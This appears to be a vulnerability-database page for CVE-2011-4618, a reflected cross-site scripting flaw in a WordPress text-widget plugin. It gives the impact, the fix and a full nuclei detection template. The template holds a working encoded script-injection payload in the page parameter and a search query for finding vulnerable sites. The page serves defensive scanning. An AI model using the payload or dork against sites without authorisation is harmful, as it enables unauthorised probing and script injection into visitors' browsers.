HexBrain

Browse / CVEs / CVE-2011-4618

CVE-2011-4618· simplerealtytheme / advanced text widget plugin· CWE-79

Advanced Text Widget < 2.0.2 - Cross-Site Scripting

mediumseverity
4.3CVSS score
10.1%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting (XSS) vulnerability in advancedtext.php in Advanced Text Widget plugin before 2.0.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.

Impact

Allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/advanced-text-widget/readme.txt ; GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "</script><script>alert(document.domain)</script>") and contains(body_1, "Advanced Text Widget")

Run it with nuclei: nuclei -id CVE-2011-4618 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-4618

info:
  name: Advanced Text Widget < 2.0.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting (XSS) vulnerability in advancedtext.php in Advanced Text Widget plugin before 2.0.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
  impact: |
    Allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4618
    - http://wordpress.org/support/topic/wordpress-advanced-text-widget-plugin-cross-site-scripting-vulnerabilities
    - http://wordpress.org/extend/plugins/advanced-text-widget/changelog/
    - http://www.openwall.com/lists/oss-security/2011/12/19/6
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71412
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-4618
    cwe-id: CWE-79
    epss-score: 0.10083
    epss-percentile: 0.95671
    cpe: cpe:2.3:a:simplerealtytheme:advanced_text_widget_plugin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: simplerealtytheme
    product: advanced_text_widget_plugin
    google-query: inurl:"/wp-content/plugins/advanced-text-widget"
  tags: cve2011,cve,wordpress,xss,wp-plugin,simplerealtytheme,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "</script><script>alert(document.domain)</script>")'
          - 'contains(body_1, "Advanced Text Widget")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from